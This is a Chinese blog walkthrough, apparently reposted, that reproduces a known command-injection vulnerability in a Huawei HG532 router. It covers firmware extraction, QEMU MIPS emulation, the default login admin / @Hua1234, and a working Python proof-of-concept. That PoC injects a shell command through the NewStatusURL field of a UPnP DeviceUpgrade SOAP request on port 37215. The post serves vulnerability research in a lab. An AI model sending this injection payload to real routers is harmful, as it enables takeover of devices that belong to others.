华为路由器-历史漏洞复现

admin 2024年10月7日22:10:28评论43 views字数 2545阅读8分29秒阅读模式

华为路由器-历史漏洞复现

首先解压固件

尝试binwalk提取文件系统:

binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin

1.遇到binwalk提取文件为空,报错中含有sasquatch,大概率是没有安装该插件,安装以下链接步骤进行安装,clone的时候可能需要挂vpn

https://blog.csdn.net/QQ1084283172/article/details/68942660
这里有一个大坑,如果你们的Ubantu虚拟机版本过高,那么gcc编译会失败,可能是gcc冲突了,所以别用22版本的!!!

git 显示拒绝克隆

1 查看是否有代理被占用

git config --global http.proxy

2 取消代理

git config --global --unset http.proxy

https://blog.csdn.net/qq_41333880/article/details/83999834

模拟仿真

首先在解包的文件系统中找一个可执行文件,使用file命令查看一下系统架构等信息

华为路由器-历史漏洞复现

启动QEMU的时候需要使用MIPS的内核以及文件系统:

网址
https://people.debian.org/~aurel32/qemu/mips/
mips文件中的内容利用wget指令一个个下载

华为路由器-历史漏洞复现

真正的”人工智能“

配置网络环境

首先是在宿主机中配置tap网络

sudo tunctl -t tap0 -u root
sudo ifconfig tap0 192.168.3.1/24
sudo ifconfig

华为路由器-历史漏洞复现

这里可以看到tap0 的Ip已经变成了 192.168.3.1

冷知识
Windos下用ipconfig,linux下用ifconfig

启动QEMU

sudo qemu-system-mips -M malta -kernel ./vmlinux-3.2.0-4-4kc-malta -hda ./debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic -s

华为路由器-历史漏洞复现

这里密码都是root

这里记得不要把这个窗口关掉

给qemu中的仿真机设置IP地址

ifconfig eth0 192.168.3.2

华为路由器-历史漏洞复现

为了方便上传解包的文件系统,我们这里先用tar将文件系统打包

这里注意我们的路径

tar -czvf file.tar squashfs-root/

华为路由器-历史漏洞复现

使用SCP传输文件

scp file.tar [email protected]:/root/

华为路由器-历史漏洞复现

在QEMU仿真机中解压

这里用到的窗口时我们刚刚启动的qemu

华为路由器-历史漏洞复现

挂载固件文件系统中的proc目录和dev目录到chroot环境,因为proc中存储着进程所需的文件,比如pid文件等等,而dev中存储着相关的设备

注意输入这些命令的路径
mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc/
chroot ./squashfs-root/ sh

华为路由器-历史漏洞复现

通过ssh连接qemu,并启动路由器「此处需要再次执行chroot」

这里我时我是用两个窗口(一个qemu终端,一个是用来ssh连接的窗口)

华为路由器-历史漏洞复现

启动路由器

在ssh连接窗口

./bin/upnp
./bin/mic

华为路由器-历史漏洞复现

换成我们qemu终端,查看ip地址

华为路由器-历史漏洞复现

这个时候再使用浏览器访问192.168.3.2即可

但发现火狐浏览器版本太高,安全协议过不去试了几种方法都不行

下个ie

https://blog.csdn.net/zhq56030207/article/details/5997316

我这边下不了ie

那就装个低版本火狐

wget http://ftp.mozilla.org/pub/mozilla.org/firefox/releases/46.0.1/linux-x86_64/en-US/firefox-46.0.1.tar.bz

华为路由器-历史漏洞复现

但好像下不下来,但可以右键之后open link下载,之后解压就可以打开了

终于见面了

华为路由器-历史漏洞复现

账号密码分别为:admin / @Hua1234,存在于固件压缩包的账号密码文件内

这里存在的漏洞是一个格式化字符串漏洞后拼接导致的任意代码执行

利用poc

import requests 
headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
代码执行
<NewStatusURL>;mkdir /bin/hell;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
requests.post('http://192.168.3.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

v

华为路由器-历史漏洞复现

来源:【https://xz.aliyun.com/】,感谢【墨*笔

原文始发于微信公众号(衡阳信安):华为路由器-历史漏洞复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月7日22:10:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   华为路由器-历史漏洞复现https://cn-sec.com/archives/1942264.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息